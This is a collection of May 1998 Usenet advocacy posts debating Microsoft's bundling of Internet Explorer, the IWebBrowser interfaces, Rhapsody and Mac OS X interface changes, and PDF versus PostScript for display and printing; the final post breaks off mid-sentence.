From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 11:54:32 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <19980523115432475532@ts3-01.aug.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
> That's sorta odd. I don't personally know anyone who's forced to use
> Microsoft products, but I don't know everyone, so I won't assume that my
> experience is normative.
Almost very person that buys a pre-assembled Intel/Clone computer is
foreced to use windows at least once.
--
*** To reply remove nospam from my return address. ***
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 11:54:33 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k6rm7$nkn$6@ligarius.ultra.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com>
T. Max Devlin wrote in message <35d0ab0c.360543981@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:27:07
> [...]
>>How did MS applications get a boost from the OS group? Which MS
>>Applications are you referring to? The ones which use IWebBrowser2 to
render
>>HTML? But they're just using the same documented interfaces as anyone
else.
>>
>
>Microsoft acknowledges that the OS group modifies the OS specifically to
>help the MS apps group, and vice versa. This means that, inherently,
>Microsoft application programmers have access to information about and
>interfaces into the operating system that other application programmers
>do not.
References, please?
>Specific charges were fast and furious (and, yes, some are dubious)
>about Excel and Word in the early days of Windows. Now, the entire
>"integrated" status of IE with Windows. The movement of the IE
>developers from the apps to the OS group means Microsoft refuses to
>acknowledge that their monopoly can be restricted to just one market (as
>inevitably, they only want one market for all PC software, because it is
>so much easier to write special-purpose software than general-purpose
>OSs and apps, and they want 100% market share in that market, because it
>is so much easier to make money when you have no competition).
>
>You really can't be so ignorant as to suggest that Microsoft's
>application developers only get the same documentation that MS sends to
>Novell and IBM and Joe's Garage Software, can you? Are you sure you're
>not just trolling?
I think you must be losing the context of the thread. We had been discussing
the fact that programs other than IE can use MS interfaces to render HTML
and browse the web, so removing these functions from Win98 would impact
those vendors. You then said something about MS applications getting a boost
from the OS group. I asked which applications and said that if you were
talking about the ones that rendered HTML, then it was my belief that these
applications used the same interfaces as everyone else.
So, whether or not the MS applications developers know the intimate details
of the OS, or whether the OS developers make secret changes for the benefit
of the MS applications developers, the fact is that Joes's Garage Software
can use Visual Studio '97 and the docs that come with it on CD to write
programs that can browse the web and render HTML. So I don't see how the MS
applications have much of a boost over Joe's.
In order to convince me that MS applications developers have an unfair
advantage over third-party developers, you'd have to show me something that
an MS application can do that a third-party application cannot do, and then
show me that this difference was due to something the MS developers knew
that the third-parties were unable to find out.
And you'd have to show me something that happened within the last few years.
Since 1993 or 1994, say.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 11:11:58 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k6rm4$nkn$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6k2sok$l4r$3@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joshua T. McKee wrote in message ...
>
>> >You're still not clear...do you mean why doesn't Netscape use the API's
>> >Microsoft has provided and use them in its web browsers? Or why doesn't
>> >Netscape come up with their own API's like Microsoft has done?
>
>> However, it doesn't matter what piece of code implements that interface.
A
>> program calling the methods of the interface just can't tell. This means
>> that Netscape could turn itself into "the code that implements
IWebBrowser".
>> No one would be able to tell the difference, as long as Netscape
implements
>> the interface correctly.
>
>
>Thanks for clarifying your position. I am familiar with COM and the idea
>behind it.
>
>It would be much more difficult for Netscape to provide this level of
>functionality over Microsoft because Microsoft is the developer of the
>OS. And Netscape still would not be able to preload it on computers like
>Microsoft can. You think it's hard enough to get the "application"
>version of Navigator pre-installed, just imagine how difficult it would be
>if they made it like IE.
I don't get it. Why would it be "much more difficult"? What would the
problem be? Are you suggesting that Microsoft has left something
undocumented, such that only "the developer of the OS" could successfully
implement this feature?
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 11:36:05 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k6rm5$nkn$4@ligarius.ultra.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com>
T. Max Devlin wrote in message <35cca498.358890969@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:34:10 >
>>
>>They've imbedded vital functionality into the operating system. Same as
they
>>did with the file system. Or TCP/IP (remember when TCP/IP packages were
Big
>>Things?). Same as with the Web. As customers demand new features, software
>>vendors should be allowed to include those features. Even if they're a
>>"monopoly".
>>
>
>Quite true. No different from embedding an email program, and several
>OSs have already done that. Of course, they were all designed for local
>access, not network-transport based clients like POP email programs. Of
>course, Unix OSs also include a network transport based email SERVER
>system, but one can hardly expect NT to have EVEN THE MOST RUDIMENTARY
>EMAIL TRANSPORT SUPPORT; not when Exchange is so perfect for every
>possible application...
>
A correction. The OpenVMS operating system from Digital Equipment
Corporation has shipped with a networked client-server email program for a
very long time.
>I got off track. The reason this is wrong, John, and not just a matter
>of "vital functionality", is that this "vital functionality" is also
>marketed by Microsoft as a separate product, and that makes this
>_bundling_, not integrating, regardless of how closely intertwined the
>browser application (which also has email and news clients) and the
>operating system are.
Let's say we start with an OS that doesn't have a particular feature. We
decide we want to add that feature to a later release of the OS in an
integrated manner. We send our development team off, and they come back with
some code that includes changes to the OS as well as some application
components. All of this can ship in that later release of the OS, but since
it works right now, and since that latter version of the OS is a year or
more off, why shouldn't we package it up and call it "Internet Explorer"?
Why can't an operating system upgrade be marketed as a product?
Why can't a company make an effort to produce portable code so that the
development of a Win95 product also produces most of a Macintosh and a Unix
product? Why can't a company then market those two pieces of code as a
product?
>Is bundling wrong, is a company required to ask government permission to
>bundle products? Normally, no, but in this case Microsoft signed a
>legal contract stating that it would not do this very thing.
And they contend that they did not bundle anything, but that they have
integrated something. If they had included a monolithic product like
Netscape in the package, THEN I'd agree they were bundling. But the "IE"
code in Win98 isn't the same sort of software at all. MS appears to have
taken advantage of the benefits of their COM technology to ship a feature
which has become a customer requirement in such a way that other vendors can
benefit from it.
I'm not explaining this well, but it's really not like they just
shrink-wrapped the two packages together.
>Microsoft
>is allowed to "maintain" this monopoly in PC OSs, so long as they do not
>try to use it to monopolize other markets. The level to which they (and
>those who defend them) disregard this issue is astounding.
What's a "PC" anyway? Why isn't an entry-level Sun workstation a "PC"? Is an
NC a PC? Why not? I'm not sure there's any definition of "PC" beyond "a
computer that can run Windows 95".
Also, what's this "other market"? You mean "the market for Web Browsers on
PCs running Windows"? I'm sorry to tell you this, but that ceased to be a
separate market as soon as customers started deciding that an OS should
include a Web Browser. Once that happened, "Web Browsers" became something
to sell to OS vendors for them to include in the package, and not nearly so
much something to sell to consumers.
And how were they using their monopoly to monopolize this other market?
Netscape wasn't excluded from reaching this market. They still have a 2/3
share last I heard. Microsoft even allows OEMs to ship Netscape installed on
a Win95 system. They did not prevent Netscape's entry into the market (it
was already there, and to a large extent created the market), and the didn't
eliminate Netscape's presence in the market, so what DID they do as far as
"monopolizing" the new market?
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 11:41:50 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k6rm6$nkn$5@ligarius.ultra.net>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com>
T. Max Devlin wrote in message <35cfaa27.360314511@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:40:09
>>
>>And as I've said before. If Netscape wants to play in that market, all it
>>has so do is implement these interfaces. They chose not to. Maybe they'll
>>change their minds, or maybe someone will make this change to the Netscape
>>code.
>
>You seem to be assuming that Netscape has equal access to those
>interfaces.
The interfaces I was referring to are documented on the MSDN CD which is in
my PC right now. And that one's from October '97. If other interfaces would
be required for Netscape to equal IE, then I don't know about them, and
would love to be informed.
>This is incorrect.
>If you consider that your "embedding a
>browser in my app" capability is only possible because everything about
>the system comes from Microsoft (or implements a standard to which
>Microsoft has contributed nothing), I don't know if that would make you
>more of a Microsoft fan, realizing that a fully proprietary system is
>always the most efficient computer, or less of a Microsoft fan,
>realizing that these amazing feats are not possible on a more flexible,
>multi-vendor system, due mainly to Microsoft's failure to allow other's
>equal access to their interfaces.
I can't parse this sentence. The only thing I understand well enough to
respond to is at the start.
No, I don't think it's required that Microsoft supply everything. But it
does make it much easier for the developer to have a single set of APIs to
code to. It also makes it much easier when there are a lot of potential
customers for the code you write to those APIs.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 12:25:46 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k6tda$omk$1@ligarius.ultra.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com>
T. Max Devlin wrote in message <35d0ab0c.360543981@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:27:07
> [...]
>>How did MS applications get a boost from the OS group? Which MS
>>Applications are you referring to? The ones which use IWebBrowser2 to
render
>>HTML? But they're just using the same documented interfaces as anyone
else.
>>
>
>Microsoft acknowledges that the OS group modifies the OS specifically to
>help the MS apps group, and vice versa. This means that, inherently,
>Microsoft application programmers have access to information about and
>interfaces into the operating system that other application programmers
>do not.
References, please? When and where did MS admit this?
>Specific charges were fast and furious (and, yes, some are dubious)
>about Excel and Word in the early days of Windows. Now, the entire
>"integrated" status of IE with Windows. The movement of the IE
>developers from the apps to the OS group means Microsoft refuses to
>acknowledge that their monopoly can be restricted to just one market (as
>inevitably, they only want one market for all PC software, because it is
>so much easier to write special-purpose software than general-purpose
>OSs and apps, and they want 100% market share in that market, because it
>is so much easier to make money when you have no competition).
>
>You really can't be so ignorant as to suggest that Microsoft's
>application developers only get the same documentation that MS sends to
>Novell and IBM and Joe's Garage Software, can you? Are you sure you're
>not just trolling?
I think you must be losing the context of the thread.
I said that if Netscape wanted to be a "web browser library", then all
they'd have to do is implement the interfaces Microsoft documented.
Then Darrin Johnson wrote that it was ingenuous in that the IWebBrowser
interface was already in IE 3.0 and was closely related to it, but that
Netscape was implemented differently and so would find it difficult to
implement an interface intended for IE.
[* digression deferred here]
Then Darrin said that this was another example of MS applications getting a
boost from the OS group.
I then responded that I didn't know which applications he was referring to.
Since we had been discussion IWebBrowser*, I asked if he meant the
applications which used those interfaces to render HTML. I indicated I
didn't think those were the ones he meant, since they presumably use the
same interfaces as everyone else.
So, while I would be glad some day to discuss any proof you may have about
MS applications developers getting special help from the OS group, that's
not what we were discussing in this thread. Perhaps you'd like to start
another topic?
John Saunders
jws@jws.ultranet.com
[* Digression:]
In re-reading this thread, I think I now realize what Darrin meant. At the
time, I did not.
[Darrin, please correct me here] I think Darrin thought that the
IWebBrowser* interfaces were tailored to the idiosyncrasies of IE, so that
Netscape would have to go through major contortions to fit those interfaces.
This turns out not to be the case.
The IWebBrowser interface has a few methods (GoBack, GoForward, GoHome,
GoSearch, Navigate, Refresh, Refresh2, and Stop), a few properties
(Application, Busy, Container, Document, Height, Left, LocationName,
LocationURL, Parent, Top, TopLevelContainer, Type and Width), and some
events (BeforeNavigate, CommandStateChange, DownloadBegin, DownloadComplete,
FrameBeforeNavigate, FrameNavigateComplete, FrameNewWindow,
NavigateComplete, NewWindow, ProgressChange, StatusTextChange, and
TitleChange). These features of the interface are pretty generic. I don't
see anything here that's specific to IE. I see no features Netscape doesn't
already contain.
The main work Netscape would have to perform is to move parts of their code
from their .EXE into components in a .DLL. They then might have to add some
shim code to join the interfaces to their new components. That's not so
great a job.
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 23 May 1998 16:57:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k6v64$gu7$1@nnrp1.dejanews.com>
References: <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com>
In article <35c68fc9.353563848@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Wed, 20 May 1998 21:01:46 GMT,
> >I understand Microsoft offered to put a link to Netscape's home
> >page on the first screen desktop. The DOJ wants Navigator installed.
> >
> >This seems like a small difference.
> >
> >The DOJ may have enough of a case to force Microsoft to yield on this
> >point and the two of them may yet come to an agreement. If they do not,
> >the court procedings will be entertaining.
>
> That's not enough for me. ;-)
> If Microsoft is allowed to continue their "business as usual" except for
> small changes to give the appearance of accommodating competition, then
> we are worse off than when we started. Completely installing and
> distributing Netscape is just the very start of what they need to do.
>
And I thought I was an idealist <g>
Just how do you propose to legally stop Microsoft from just giving the
"appearance of accommodating competition"?
Even breaking it up won't stop them from doing that.
> [...]
> >
> >I think Microsoft is fighting a losing battle. Microsoft's answer has
> >become "bigger is better". The bubble will burst eventually. I just
> >think it is hypocritical to, on one hand, say Microsoft has no legitimate
> >reason for its action, and then point out how WindowsXX will become
> >"unneccesary" with the other.
>
> This simply underscores how contrived Microsoft's monopoly is.
> Microsoft is free to compete in the OS market, but only if it treats all
> apps developers fairly. Microsoft is free to compete in various apps
> markets, but only if it treats all OS developers fairly.
Sorry, I am not sure how your response is connected to mine.
You made some good points, but I thought we were discussing the
vulnerability of Windows.
<snip>
> This is
> an artificial situation that can do nothing but restrict customer choice
> and innovation.
>
<ahh> Maybe I get it. Are you saying Windows is freak of nature and should
be destroyed? Furthermore, Microsoft's claim of paternal rights is just
a coverup for unbridled greed and their use of laws that protects these
rights is an abuse of the legal system. Am I getting close?
<snip>
> Even if they are entirely market constructs,
> however, it is a requirement, if you are going to provide an OS for the
> general purpose computer market, that you give equal access to that OS
> in every way to any interested app developer. Otherwise, it is a
> special purpose product, and it is somewhat fraudulent to market it
> otherwise.
>
Microsoft may be guilty of a lot of things, but I believe they are better
than most in giving equal access to "any interested app developer". For
a nominal fee anyone can sign up for the MS Developer Network. This
gives you all the latest developer kits, knowledge bases and Beta releases.
The biggest exception to that would be any special treatment they give to
their own developers that they do not put in the MSDN.
> >Again, we are talking degrees. Microsoft may be one of the biggest
> >offenders but all of the major players here have done this. Netscape
> >has several times implemented a propriatory function or feature to
> > Navigator in an attempt to "trap" users in using only their browser.
>
> I disagree entirely; nobody else does this. The perception of it may be
> a matter of degrees, but the reality of it is not. This is one of the
> problems we have with these issues; I wrote about how I think some
> people can easily perceive "proof" of Microsoft's intent in their
> products. Just because this can not be absolutely identified does not
> mean it does not exist. There is a difference between implementing
> proprietary features as a "value add", and implementing them as a "trap"
> to lock users in to your product. I can't think of any specific
> examples one way or the other,
Let me try to help.
- Applications that import many different formats but only saves in one,
propriatory format.
- One-way upgrades. Users can convert old to new, but not visa-versa.
- Undocumented general purpose hardware. "You don't HAVE to buy our software,
but good luck writing your own".
I see these practices as attempts to "trap" users into buying from a specific
software company. Maybe you can explain how I am being overly cynical.
<snip>
> I admit it is hard for me to not correlate the rise of Microsoft with
> many other disturbing trends. I do not fault them for any "general
> degeneration" (though I do, privately, blame them for much of it, them
> and MTV) of consumers and our society. However, I do blame them
> entirely for their own actions. I will not allow "everybody does it,
> too" to be an excuse to allow the worst offender to escape justice.
>
I agree, "everybody does it" is not an excuse for illegal behavior. The
tricky part is when companies/politicians/media focus on giving the
users/voters/public what they ask for. I assume you agree the
voters have the government they asked for. Is it reasonable to assume
the media is also providing what is in the interest of the public? I
believe both of these institutions could be better at serving the public.
Now for the tricky part.
Is it possible Microsoft is also giving the users what they asked for?
If they public allows themselves to be "trapped" into not making decisions.
Companies are legally allowed to do that. From my point of view, many
companies are more than happy to spare consumers the head-ache of having
to make a choice.
Now, you and the DOJ have the burden of proving this is illegal.
Microsoft can point to "standard business practices" as evidence they are
doing what any other non-monopoly can and does do. If I understand correctly,
anti-trust laws make it illegal for monopolies to do things ONLY a monopoly
can do.
There will be a lot of close calls in this anti-trust case (IMO). This is
just one example.
<snip>
> I won't be able to convince people that it is stupid to buy well
> marketed but poorly made products unless I can so them a viable
> alternative, which I can't do as long as the poorly made products are
> the only ones allowed in the market.
>
But Max, people don't want to be shown alternatives.
You are focused on Microsoft, try looking at the other side. Consider this,
the average Windows98 user will want only one thing, access to the Internet.
A little research and some elbow grease could get this user a '486 computer
with Linux and Netscape for almost no cost.
Too farfetched? How about Quicken verses Money97? Quicken was a MUCH better
product (IMO). Microsoft did not use any special APIs in connecting Money
to it's OS. Quite the opposite. I was disappointed with how poorly Money97
coordinated with ANYTHING else. People still bought Money97. Why, because
they were too lazy to look beyond the Microsoft label.
Talking about the browser war. Microsoft has conceded that it would allow a
link to Netscape's home page on the desktop. This isn't good enough?!?!?
Of course, Microsoft assumes people will not bother to download the FREE
browser, they are right.
Poor public attitude is being assumed as a given in this case. It is not
enough to give the users a reasonable choice. Even you see the danger in
only forcing Microsoft to put Navigator on the desktop. The users will
make the easy choice, Microsoft. Nothing short of removing Microsoft as
a choice will have the effect you are looking for. This is Microsoft's
fault? Of course, they took advantage of these poor, defenseless users
and brainwashed them all into ignoring alternatives.
Sorry, Max. Even if you are successful in "destroying Microsoft" another
company would be right there to take it's place. I can think of one right
off the top of my head, IBM.
(some past IBM's business practices make Microsoft's look like childish
pranks)
> >And I will join you in the fight. Let's make Linux better. Let's
> >teach users a better way. Let's SHOW them why Microsoft's products
> >are inferior. Forcing people to do the "right thing" without explaining
> >why accomplishes nothing.
>
> I appreciate your enthusiasm. I am trying to do all those things.
> Unfortunately, as long as Microsoft is allowed to maintain an unethical,
> anti-competitive, and illegal monopoly, I don't have too much faith in
> the "right way" overcoming the billions they have to spend to convince
> people we are wrong, and they should just keep buying Microsoft, because
> the next version will be as easy as the new Linux, and far superior to
> any other products...
Then quit fighting Microsoft. Let's mold Linux machines into cheap Microsoft
terminals. There is a lot of good, used equipment out there.
"We may not be as good as the yet-to-be-seen WinTel machine, but we are
cheaper."
Take advantage of Microsoft's weaknesses. They are big and bloated. They
are getting bigger and more bloated. We need to be small and lean.
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 23 May 1998 13:12:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k701q$b8h$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com>
In article <3566bf1b.585911@nntp.atl.mindspring.com>, dgason@mindspring.com wrote:
> On 22 May 1998 14:19:44 -0400, nurban@crib.bevc.blacksburg.va.us
> (Nathan Urban) wrote:
> >There are still many aspects of [Rhapsody, OS X] that are superior to
> >NEXTSTEP. Just not the UI (IMHO).
> Not having been able to play with a DR of Rhapsody, I haven't
> seen everything about the UI. The parts that I did see on stepwise
> looked like someone tried to graft the worst features of MacOS on
> nextstep and get rid of some of the really cool nextstep features like
> the dock.
Tastes vary. I think the NEXTSTEP UI is the best around, but I really
don't think that the Mac UI in Rhapsody is all that terrible. I miss the
dock, but I'm sure someone will have a replacement (perhaps a Fiend port)
as well as the Shelf.
> >The themes support in MacOS X might be sufficient to give a NEXTSTEP
> >look, and it's something you could count on being there.
> Themes might be doable....will themes be available on
> Rhapsody?
I doubt there will be themes on Rhapsody (at least, MacOS-style themes..
there are still those dwrites..). OS X should have them.
> Where could I find out more about this feature?
I don't know; search around Apple's web site for "Appearance Manager" or
"themes".
> I didn't realize that copies of nextstep were still for
> sale...any idea what the latest version is and whom to contact about
> getting a copy?
The last version of NEXTSTEP was 3.3; the last version of OPENSTEP for
Mach was 4.2. You'll want the latter. Try:
http://www.blackholeinc.com/
As for me, I'll be migrating to Rhapsody from 4.2 once a few key apps
get ported or have equivalents there.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 23 May 1998 17:19:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6k70fe$l37$1@news.cs.tu-berlin.de>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <6k4a4d$f8a$1@news.cs.tu-berlin.de> <6k4kl0$jkd$3@news.idiom.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
> Marcel Weiher may or may not have said:
>-[snip]
>-> One thing to note:
>->
>-> With Postscript, it was possible to have your output take advantage of
>-> Level 2 (or Level 3) and still work on a Level 1 device (look at
>-> Next's procsets). With PDF, you will have to either upgrade your
>-> printer or buy a new one.
>As Mike Paquette would say:
>This turns out not to be the case.
>To make a PostScript printer take PDF, you simply send a PDF interpreter to
^^^^^^^^^^
>the printer first. Remember this phrase: "Turing-complete language." It's
>not even a very hard program to write, since PDF uses the existing Postscript
>imaging model.
Exactly my point, thank you. A *Postscript* printer can do this. A
*PDF* printer cannot, because it is not progammable. Same for the
a display. My interpretation of the events unfolding is that Adobe
wants to replace Postscript with PDF, to finally have a milkable
installed base just like the other kids (er, large software vendors).
After all, it's simply no fun bringing out updates (like Level 2
or Level 3) when your customers don't buy the upgrades because
older products will still interoperate with the new standard.
How much better to have a format that cannot provide the same
kind of backwards compatibility, thus forcing users to upgrade
when a new version of the format is released.
So, how do you go about it?
First, you make PDF the preferred output/interchange format.
Once that is established, you start selling PDF-only devices.
Then you start revving PDF. Instant upgrade revenue nirvana.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 23 May 1998 17:42:22 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6k71pu$lk1$1@news.cs.tu-berlin.de>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com> <6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net> <6k4diu$goe$1@news.cs.tu-berlin.de> <6k4f4s$loc1@onews.collins.rockwell.com>
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embuck@palmer.cca.rockwell.com (Erik M. Buck) writes:
>In <6k4diu$goe$1@news.cs.tu-berlin.de> Marcel Weiher wrote:
>> "Michelle L. Buck" <buck.erik@mcleod.net> writes:
>>
>>
>> >The reason that NSHosting will be gone in MacOS X is very simple.
>>
>> Yes.
>>
>> The reason *NS*Hosting will not be provided is that MacOS is not
>> OPENSTEP or NEXTSTEP. It does not include a Postscript interpreter.
>> The specific protocols for NSHost/NXHost include the Postscript
>> capability, and it would certainly be necessary for NSHosting current
>> OPENSTEP/NEXTSTEP apps on a MacOS X system, which won't be possible.
>>
>> Remote display capability is *not* impossible with the new imaging
>> system, and from what Mike said might even be implemented by the
>> time MacOS X ships.
>>
>> I thought his post was very clear on all this.
>>
>> Marcel
>>
>Remote display with some new graphics API is not impossible. Unfortunatly,
>if it is not well defined from the start, it will become impractical.
Well, Mike's request for input from developers on this makes me
think that maybe the graphics subsystem *will* be designed with
that capability in mind, even if the capability does not ship in
the first version of MacOS X.
>Comments suggesting that remote display and EPS support are third party
>opportunities ring hollow. As Mr.. Jobs used to say often, unless
>developers can count on support and availability, they will not use a
>feature. This was the reasoning behind "doing color right" at NeXT and
>Display Postscript services in the first place.
Well, remote display capability is largely transparent to developers,
even under NextStep. EPS handling is a major bummer, and most of *my*
products absolutely require a Postscript interpreter, so I will have
to do something about a replacement. Having done design doodles and
studies of (PS-)interpreters for the last years, I will probably
end up writing one. Having written several PS virtual machines
in Postscript should probably help :-)
As I pointed out in a another post, I also have reservations about
PDF as the interchange format. PGML looks a lot better, partly
because it interoperates with XML and partly because extension
capabilities are specifically part of the spec.
[...]
>Without a stream of vector drawing commands available for transmission
>between
>processes or across a network the only alternative is to send bitmaps across
>the network. Then of course all device independence is lost, the resolution
